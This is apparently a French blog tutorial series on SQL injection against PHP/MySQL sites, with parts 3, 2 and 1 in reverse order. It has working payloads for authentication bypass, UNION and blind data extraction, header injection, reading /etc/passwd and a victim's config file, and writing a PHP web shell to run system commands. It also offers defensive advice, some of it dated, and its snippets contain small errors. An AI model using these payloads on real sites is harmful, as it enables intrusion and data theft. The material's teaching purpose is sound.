SQL injection avancée: Blind SQL injection (partie 3)

Après les deux premiers tutoriaux au sujet des attaques de type SQL Injection, le billet d’aujourd’hui sera dédié à un vecteur d’attaque un peu particulier, si vous ne connaissez pas les principes d’une injection sql, je vous invite vivement à lire les deux premiers articles avant de passer à la suite ;)

Je rappelle que la série de ces tutoriaux est dans le but de donner une idée sur les différents aspects et vecteurs d’attaque d’une injection SQL, j’espère que ça vous aidera à mieux vous protéger et percevoir les risques en codant, n’hésitez pas à me faire part de vos remarques ;)

Qu’est ce que Blind SQL Injection?

Blind SQL Injection est un vecteur d’attaque dont l’approche est très différente de celle des injections classiques, elle permet comme ses ascendants d’injecter des données à partir d’une base d’une application vulnérable. Repérer une faille de ce type n’est pas toujours facile et demande une série de tests.

Les Injections blind se caractérisent par l’absence d’un message d’erreur (qui généralement permet de repérer la faille), ce qui impose une serie de tests « à l’aveuglette » afin d’identifier la présence d’une faille (ou pas) !

Prenant un exemple :

On considère une application web avec une page profile.php avec le code ci-dessous :

//…
$user_id = $_GET['user_id'];
while(stristr($user_id, '#union#i')) $user_id = stri_replace('union','',$_GET['user_id']);
$query = "SELECT * FROM profile WHERE user_id = $user_id" ;
if(!@mysql_query($query)){
	echo "Ce membre n'existe pas";
}
else{
	//Affichage des données du profil
}

Ce code semble sécurisé contre les injections classiques puisqu’il remplace le mot clé « union », donc pas de possibilité de sélectionner une nouvelle ligne et détourner la requête, toute-fois un attaquant malveillant peut l’exploiter!

Analysons cette requête :

profile.php?user_id=1

Cet appel affichera le profile de l’utilisateur ayant l’id 1 (généralement l’administrateur du site)

Que se passera t’il avec :

profile.php?user_id=1 AND 1=2

Logiquement 1 != 2, si le script n’affiche pas le profil c’est que la condition rajoutée a été exécutée dans la requête, on peut vérifier ça on rajoutant une condition qui retourne toujours true (profile.php?user_id=1 AND 4=4). Si avec cet appel le profil de l’utilisateur ayant user_id=1 s’affiche, c’est que le script est vulnérable à une injection de type « Blind SQL Injection », alors là! La bonne nouvelle c’est que l’attaquant ne voit aucune information affichée, la mauvaise c’est qu’il peut facilement bruteforcer l’information en rajoutant des conditions dans l’url. Ainsi suivant l’affichage ou le non-affichage du profil, l’attaquant peut comprendre si la condition qu’il a mis est remplie, et enfin extraire les informations caractère par caractère

Exemple permettant de vérifier que la version de mysql est 5:

profile.php?user_id=1 AND version() MATCH 5

Voyant ce qu’un attaquant malveillant peut faire pour exploiter cette faille :

profile.php?user_id=1 and length(password)=32

Cet appel illuste un test sur la longueur du champ password, généralement les passes sont cryptés en md5, si c’est le cas le profil s’affiche et ça facilite à l’attaquant la poursuite de son exploitation ! Un md5 est une chaine de caractère en hexadécimal [09-af] donc 16 possibilités pour chaque caractères, du coup le nombre des possibilités n’est pas énormes, 16 tests au maximum peuvent permettre d’injecter un caractère du champ password, ce qui donne 16×15 = 512 requêtes maximum en total pour extraire le hash md5 de l’utilisateur ayant user_id = 1

Exemple :

profile.php?user_id=1 AND substr(password,0,1)= 0×66

Pour tester si le premier caractère est un « f » (0×66 correspond au code hexadécimal de la lettre f) ainsi selon l’affichage (ou non) du profil utilisateur l’attaquant peut facilement extraire le reste de la chaine de caractère du mot de passe, évidement sans aucun message d’erreur affiché sur son écran !

Pour résumer: Une Blind SQL Injection est toujours exploitée grâce à un bruteforce à l’aveuglette en se servant d’une page vulnérable qui affiche une donnés X, selon l’affichage ou non de cette dernière on peut deviner les données se cachant derrière.

Comment sécuriser son application ?

Les bonnes pratiques à adopter pour éviter de se faire pirater son site sont généralement les mêmes que j’ai cité dans les deux premier tutoriaux : de manière générale : Ne jamais se contenter de cacher les messages d’erreur, pensez toujours à filtrer les entrées, rajouter toujours les « signles quotes » aux variables que vous usez dans vos requêtes SQL et filtrer toujours avec la fonction mysql_real_escape_string

[Tutoriel] – SQL Injection Avancée (Partie 2)

Advanced SQL Injection

Advanced SQL Injection

Me revoilà, comme promis avec la suite de cette série de tutoriaux, vous vous rappelez bien de l’épisode précèdent ? On avait parlé des injections SQL classiques, on a vu comment un attaquant pourra by-passer une identification, également comment ce dernier peut repérer une injection grâce aux messages d’erreurs et injecter des données depuis la base de données!

Aujourd’hui on verra de plus prêt le danger réel que représente une injection SQL sur un site, l’objectif est que tout développeur web aie conscience du risque encouru, je donnerai des exemples de code vulnérables, ce que peut faire un attaquant pour les exploiter, et comme toujours des solutions pour mieux sécuriser son code ;)

Savez vous qu’avec une injection SQL un attaquant peut:

  • Récupérer les noms des tables et des champs et injecter des données sensibles
  • Injecter un paramètre dans une entête HTTP
  • Lire/Écrire dans un fichier et potentiellement exécuter des commandes système sur la machine distante

MySQL et information_schema

Alors pour commencer, et comme j’avais dis dans l’article précèdent, on verra comment un attaquant pourra lister les noms des tables présentes dans votre base, ainsi que tous les champs!

En fait, information_schema est une base de données propre à mysql, elle existe depuis la version 5, et contient des informations sur tous les objets accessibles à l’utilisateur courant

Le problème c’est que dans mysql, information_schema est par default accessible à tous les utilisateurs! Du coup un attaquant peut lister les noms des tables et champs!

En reprenant l’exemple que j’avais donné dans le premier tutorial (Injecter des données depuis une table) , voici un bout de code qui permet de lister les noms des tables présentes sur une base!

profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database();--

Cette requête injectera le nom de la première table présente sur la base de données courante, à noter que database() est une fonction spécifique à mysql qui retourne le nom de la base de données en cours! Ainsi l’attaquant peut lister toutes les tables on rajoutant la clause LIMIT

profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database() LIMIT 1,1–
// ou encore
profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database() LIMIT 2.1–

Injection les noms des champs

Les noms des champs existent dans la table COLUMNS , un simple union peut permettre à un attaquant d’injecter ces derniers!
// afficher le premier champ

profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=’users’ –
// afficher le troisième champ
profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=’users’ LIMIT 2,1–

SQL Injection et les entêtes HTTP

L’une parmi les erreurs que certains programmeurs commettent lors du développement d’une application, est le fait de faire confiance aux variables globales et aux entêtes HTTP! Il ne faut jamais se contenter de filtrer GET/POST/COOKIE car ce n’est pas suffisant

Voici un exemple pour démontrer le risque encouru:

On considère un script de vote, permettant aux utilisateurs de voter une seule fois pour chaque sondage! Pour mettre en place un tel système, le script récupère l’adresse IP de l’utilisateur en prenant en compte l’utilisation d’un proxy (entête X_FORWARDED_FOR) avec la fonction suivante:

function get_real_ip(){
return isset($_SERVER['HTTP_X_FORWARDED_FOR'])
? $_SERVER['HTTP_X_FORWARDED_FOR']
: $_SERVER['REMOTE_ADDR'];
}

Le traitement se passe au niveau d’une page vote.php qui récupère la note et vérifie si l’adresse ip ne figure pas dans les liste des adresses ip ayant déjà voté pour le même article, si tout va bien le vote est enregistré, sinon un message d’erreur est affiché: « Désolé [IP] mais vous avez déjà voté pour l’article [toto] »

if(!empty($_POST['id']) && !empty($_POST['note']))
{
$article_id = intval($_POST['id']);
$note = intval($_POST['note']);
$ip = get_real_ip();
$req = mysql_query("SELECT ip,titre FROM votes WHERE id = '$article_id' AND ip = '$ip'") or die(mysql_error());
if(mysql_num_row($req) > 0){
$data = mysql_fetch_array();
echo "Désolé ".$data['ip']." mais vous avez déjà voté pour l'article ".htmlspecialchars($data['titre'])
}
else
{
// traitement ...
echo "Merci pour votre vote";
}
}

Que se passe t’il si un attaquant envoie la requête HTTP suivante:

POST /vote.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
X_FORWARDED_FOR: ' union select user(),2--
Connection: close

id=1&note=10

Scénario

La fonction get_real_ip() retrouvera l’entête $_SERVER['HTTP_X_FORWARDED_FOR'] et retournera comme valeur : ‘ union select 1,2–

La requête SQL deviendra :

SELECT ip,titre FROM votes WHERE id = ’1′ AND ip = ‘ ‘ union select user(),1111–’

Le nombre de lignes retourné sera 1 > 0 donc le message suivant s’affichera :

Désolé root@localhost mais vous avez déjà voté pour l’article 1111

d’où root@localhost et 1111 correspondent respectivement à user() et 1111

Vous l’avez bien compris? Il est possible de polluer l’entête HTTP X_FORWARDED_FOR avec du code SQL (‘ union..) et résulter une injection, pensez donc toujours à échapper toute variable récupérée à partir d’une entête HTTP ($_SERVER, $_COOKIE) bref tout ce qui peut être manipulé par l’utilisateur!

MYSQL et la permission FILE

Lire un fichier avec load_file()

Lors de la création d’un utilisateur dans MYSQL, l’administrateur assigne des droits (SELECT, UPDATE, DROP ..) à l’utilisateur en question sur une table, parmi ces droits il existe la permission FILE, elle permet de lire un fichier à partir d’une requête SELECT

exemple :

SELECT load_file(‘/home/user/data_articles.txt’) INTO articles ;

Sur certains serveurs, la permission FILE est assignée par défaut aux utilisateurs, du coup la présence d’une injection sql peut permettre aux attaquants de lire n’importe quel fichiers accessible depuis mysql! et encore si les droits du daemon mysql sont mal configurés, un attaquant malveillant peut lire les données d’un autre utilisateur sur le même serveur!

profile.php?id=-1 UNION SELECT null, load_file(‘/home/victimuser/public_html/config.php’)–

Écriture dans un fichier (OUTFILE/DUMPFILE)

Si la permission FILE est assignée à l’utilisateur courant, un attaquant peut écrire des données dans le système de fichier, à condition que les droits d’écriture soient assignés au dossier/fichier en question

Dans mysql les fonctions OUTFILE et DUMPFILE permettent d’écrire dans un fichier, ainsi un attaquant peut s’en servir pour injecter du code PHP:

Exemples:

profile.php?id=-1 UNION SELECT null, '<?php system(\$_GET[cmd]) ?>' INTO OUTFILE '/home/victime.com/public_html/uploads/shell.php'--

profile.php?id=-1 UNION SELECT null,  '<?php system(\$_GET[cmd]) ?>' INTO DUMPFILE '/home/victime.com/public_html/uploads/shell.php'--

L’exécution de cette requête provoquera la création d’un script shell.php dans le dossier nommé « uploads » et permettra à l’attaquant d’exécuter des commandes système sur le serveur avec les droits du daemon apache..

http://www.victime.ltd/uploads/shell.php?cmd=ls -l

Je vous laisse imaginer les conséquences que cela peut engendrer =)

SQL injection et urlencode()

J’ai remarqué sur certain script l’utilisation de la fonction urlencode() pour échapper les entrées utilisées dans une requête, enfaite ce n’est pas suffisant et pas du tout fiable comme moyen de protection, voici un exemple :

Page : index.php?page=test

$sql = mysql_query(« SELECT title,content FROM pages WHERE page_name = ‘ ».urlencode($_GET['page']). » ‘ »);

Ce code peut bien échapper un signle quote d’où index.php?page=test’ génèrera la requête
SELECT title,content FROM pages WHERE page_name = ‘test%27′

Tout est normale jusque là! Le single quote ‘ est encodé en %27, mais que se passera t’il si on re-urlencode notre %27 en %2527 ? :)

Résultat: Ca va injecter un ‘ au nez de la requête, du coup l’appelle de la page :
index.php?page=test%2527 union select null, ‘Hello’– va produire la requête suivante :

SELECT title,content FROM pages WHERE page_name=’test’ union select null,’Hello’–’

Ne cherchez pas à vous compliquer la vie, mysql_real_escape_string() est votre amie =)

MySQL et magic_quote_gpc

magic_quote_gpc est une directive dans le fichier de configuration php.ini, elle permet
d’ajouter automatiquement un backslash (\) à toute variables gpc ($_GET, $_POST, $_COOKIE). Si
cette directive est activée, il n’est pas possible d’injecter un signle quote dans une requête à une
variable globale (GPC)! Parcontre ça reste toujours contournable dans certains cas! il n’y a pas que $_GET/$_POST/$_COOKIE en PHP =)

Voici des exemples d’un contournement possible permettant d’injecter une chaine en l’encodant en hexadécimal :

Profile.php?id=-1, load_file(0x2f6574632f706173737764)–

la chaine 0x2f6574632f706173737764 en hexa correspond à /etc/passwd en ascii, ainsi un attaquant peut encoder n’importe quelle chaine pour injecter, par exemple, les noms de tables et champs à partir de la base information_schema.. vous pouvez imaginer les possibilités..

L’activation de magic_quote_gpc peut vous éviter pas mal de problèmes, mais ca reste tout de même pas un moyen idéal pour se protéger! Il ne faut pas se contenter de l’activer et se dire que vous êtes à l’abri :)

les Filtres anti-sql injection

Un filtre sql injection est tout simplement un script qui permet de filtrer les entrée saisis par l’utilisateurs et detecter une éventuelle tentative d’attaque! il est important de prévoir toutes les possibilités sinon le filtre risque d’être contourné!

Voici un exemple d’un filtre qui detecte le mot clé UNION dans une requette:

$apply_to = array('GET','POST','COOKIE');
$bad_words = array('union','order by','select','from','where');
foreach($apply_to as $g){
foreach($$g as $key => $val){
foreach($bad_words as $word){
if(strstr($val,$word)){
die('SQL Injection Attempt detected');
// Writing the log attaque into log file
}
}
}
}

Ce filtre parait bien, mais il est contournable car il ne vérifie pas la casse!

immaginons l’appelle de la page

profile.php?id=-1 UnIoN SeleCt nuLl, NUll, nulL, password FroM users–

un attaquant peut facilement contourner ce script on modifiant la casse de chaque mot protégé! c’est juste un exemple pour dire qu’avant de créer un filtre, il faut penser à toutes les possibilités ce qui est pénible et peut rendre l’application web très restrictives, le mieux à mon avis est d’adopter les bonnes pratiques en codant proprement =) on peut pas toujours nous mettre dans la peau d’un pirate ;)

Comment se protéger contrer les injections SQL?

Voilà donc! J’ai essayé d’exposer différentes façons à travers lesquelles un attaquant malveillant peut vous atteindre en exploitant une injection SQL, le but c’est que chaque programmeur aie une vision claire de ce qu’un attaquant peut faire en passant par une injection!

Voici les bonnes pratiques à adopter pour éviter de se faire injecté sa base par un kiddie :

  • Ne donnez jamais les droits aux utilisateurs sur la base de données information_schema, ça permetera de rendre l’exploitation d’une injection (si elle existe) plus difficile pour un attaquant!
  • Si vous utilisez un CMS comme Joomla! Drupal, Magento.., pensez toujours à modifier les préfixes par default!
  • Méfiez vous des entêtes HTTP, échappez toutes les entrées et validez-les avant de les utiliser dans une requête
  • Ne jamais donner les droits FILE aux utilisateurs mysql
  • Après l’installation d’un serveur dedié, pensez à modifier le mot de passe root de mysql, il est par default vide, sachant que le compte root possède tous les droits sur toutes les bases!
  • N’utilisez jamais la fonction urlencode() pour échapper les quotes dans une requête, utilisez plutôt mysql_real_escape_string()
  • Pensez toujours à lire les fichiers logs d’apache, repérez les URL suspect et vérifier si c’est susceptible d’être vulnerable :)

Voilà donc pour cet épisode, dans le prochain je parlerai des Blind injections SQL! J’espère que ce tutorial vous a été utile, n’hésitez pas à enrichir la discution :), toute question/ remarques sont les bienvenues :)

[Tutoriel] SQL Injection – Les classiques (partie1)

sql_imgHello,
Aujourd’hui je vous parlerai d’un vecteur d’attaque très répondu sur internet, c’est SQL Injection, le sujet est très riche, j’ai donc décidé de le répartir en trois parties:

J’ai également publié un billet bonus parlant des techniques d’évasion des filtres

Dans ce billet, j’expliquerai le concept d’une Injection SQL basique, les différentes formes sous lesquelles elle peut se présenter dans une application WEB, illustrées par des exemples concrets, ainsi que des solutions pour sécuriser son code et prévoir ce genre d’attaques!

Comme vous le savez tous, SQL (Structured Query language), est un langage de bases de données qui constitue le cœur des applications WEB qui interagissent avec un SGBD, sachant que le concept d’une Injection SQL est commun pour tous les types de SGBD (avec quelques petites variations), dans toute la série de ces tutoriaux, je vais considérer qu’on travaille sur une base de données MySQL qui tourne sur un serveur LAMP!

Alors c’est parti =)

SQL Injection, c’est quoi ?

SQL Injection est parmi les vecteurs d’attaques les plus connus sur la toile!, son principe est de modifier une requête SQL grâce à un champ mal filtré dans le but d’exécuter une requête non prévue par l’application, l’exploitation d’une injection SQL peut avoir des conséquences désastreuses sur un site, elle peut permettre à un attaquant de :

  • Bypasser une authentification
  • Lire des données sensibles depuis les tables mySQL
  • Injecter le nom et le schéma de la base de données
  • Lire et écrire dans le système de fichier et potentiellement exécuter du code PHP

Comment repérer une injection SQL?

Une Injection SQL est souvent repérée par un attaquant grâce aux messages d’erreurs, le test est assez facile à faire, il suffit d’insérer un caractère spéciale (un signle quote « ‘ » le plus souvent), ou modifier le type d’une variable utilisée dans une requête SQL, si la variable est mal filtrée l’exécution de la requête est interrompue et il y a de fortes chances que cette dernière est faillible à une Injection

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near

Et oui! c’est ça, merci mysql_error =)

Et si on passe aux exemples?

Assez de blabla, là on passe aux exemples, et on commence par l’un des plus classiques :

Bypasser une identification:

Stanislas: un développeur en herbe a conçu un formulaire d’identification, qui permet de poster le nom d’utilisateur et le mot de passe dans une page PHP, cette dernière vérifie si c’est les bons et affiche un message selon le résultat:

Code :

// page processlogin.php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = mysql_query("SELECT * FROM users WHERE username = '$username' AND password = '$password'") or die(mysql_error());
if(mysql_num_rows($sql) == 1)
{
echo "Bienvenue $username dans votre espace membre!";
}
else
{
echo "Nom d'utilisateur et/ou mot de passe incorrecte";
}

Maintenant imaginons qu’un attaquant se connecte avec comme login : admin’–, la requête devient :

SELECT * FROM users WHERE username = ‘admin’–‘ AND password = ‘$password’

La requête SQL va aboutir, le single quote permettra de fermer le délimiteur de la chaine admin et les deux tirées servent à mettre le reste de la requête en commentaire, du coup la vérification du mot de passe sera ignorée ;) , Bienvenue admin dans votre espace membre!

C’est juste un exemple! l’attaque peut se présenter différemment selon la requête SQL :

Exemple 2:

//...
$sql = mysql_query("SELECT * FROM users WHERE ( username='$username' AND password = '$password' )");

Dans ce cas, pour bypasser l’identification il y a plusieurs possibilités, l’une est d’utiliser comme login: admin’)–
ou encore, comme login : admin’) or (‘a’=’a, le principe est de toujours forcer la requête à retourner true :)

Injecter des données depuis une table

On dit souvent que l’union fait la force! c’est le cas pour les injections SQL car là on arrive aux choses sérieuses!

La commande UNION, existe depuis MySQL 4.0 et permet de combiner le résultat de plusieurs requêtes SELECT en une seule. Pour l’UNION, il est important que les champs des différents SELECT aient le même nombre et le même type!

Prenant l’exemple d’un petit forum, on considère une page profile.php qui affiche le profil d’un utilisateur donné à partir de son ID récupéré par $_GET

Code :

mysql_connect("localhost","root","");
mysql_select_db("test");
$user_id = $_GET['id'];
$sql = mysql_query("SELECT usernamen, nom, prenom, email FROM users WHERE user_id = $user_id") or die(mysql_error());
if(mysql_num_rows($sql) > 0)
{
$data = mysql_fetch_object($sql);
echo "
<fieldset>
<legend>Profile de ".$data->username."</legend>
<p>Nom d'utilisateur : ".$data->username."</p>
<p>Nom et prénom : ".$data->nom." " .$data->prenom ."</p>
<p>Adresse email : ".$data->email."</p>
</fieldset>";
}

Sans connaitre le code qui s’exécute derrière un attaquant peut détecter la présence d’une injection sql en essayant d’interrompre la requête en accèdent à la page : profile.php?id=1′, le fameux message d’erreur s’affiche, l’attaquant passe à l’étape suivante, qui est l’identification de nombre des champs utilisés dans le SELECT

La technique la plus courante est l’utilisation de la clause « ORDER BY », en incrémentant l’indice petit à petit jusqu’à ce que la page affiche une erreur

  • profile.php?id=1 order by 1 [OK]
  • profile.php?id=2 order by 2 [OK]
  • profile.php?id=3 order by 3 [OK]
  • profile.php?id=4 order by 4 [OK]
  • proile.php?id=5 order by 5 [ERREUR]

A ce stade là, l’attaquant peut savoir que la requête contient 4 champs dans le SELECT, et peut donc utiliser la clause UNION pour injecter des données!

profile.php?id=-1 UNION SELECT 1,2,3,4–

là on peut bien voir les chiffres s’afficher au lieu des données vu que l’id -1 n’existe pas dans la base, du coup les champs sélectionné dans l’UNOIN seront retourné (1,2,3,4), à la place de ces derniers l’attaquant peut sélectionner des données de n’importe quelle table sur laquelle l’utilisateur sql courant a les droits

Exemple :

profile.php?id=-2 UNION SELECT version(), user(), password, null FROM users
profile.php?id=-2 UNION SELECT host, user, password, database() FROM mysql.user

Il est facile pour un attaquant de deviner le nom des tables, d’ailleurs il existe des listes de tables sensibles susceptibles d’exister sur une base de données genre (login, users, auth, membres..), et depuis mysql 5 il est possible d’injecter les noms des tables à partir de la base information_schema! je reviendrai dans le billet de cette série (SQL Injection avancée) avec plus de détails sur cette partie là!

Il est également possible d’injecter des données depuis les autres bases sur-lesquelles l’utilisateur mysql courant a des droits!

Comment se protéger?

Maintenant que vous avez conscience du danger qu’une injection SQL classique pourrait engendrer lorsqu’elle est exploitée voici les bonnes pratiques pour sécuriser son application :

Pour notre cas par exemple : la solution est de filtrer l’input $_GET['id'] on conservant que la partie entière de sa valeur, pour ce faire :

$user_id = intval($_GET['id']);

et voilà le tour est joué :) , s’il s’agissait d’un nombre à virgule flottante on utilisera floatval() et ainsi de suite..

Pour les chaines de caractères, pensez toujours à utiliser mysql_real_escape_string, cette fonction permet de filtrer tous les caractères spéciaux et vous facilitera la vie! Et si vous avez le malheur de ne pas les utiliser dans vos requêtes, alors c’est bien le moment ;)

Donc voilà les classiques pour les injections SQL! Dans le prochain billet, on passera à la vitesse supérieur! J’exposerai des méthodes d’exploitation plus avancées, des erreurs à ne pas commettre ainsi que des solutions pour prévenir à ce genre d’attaques!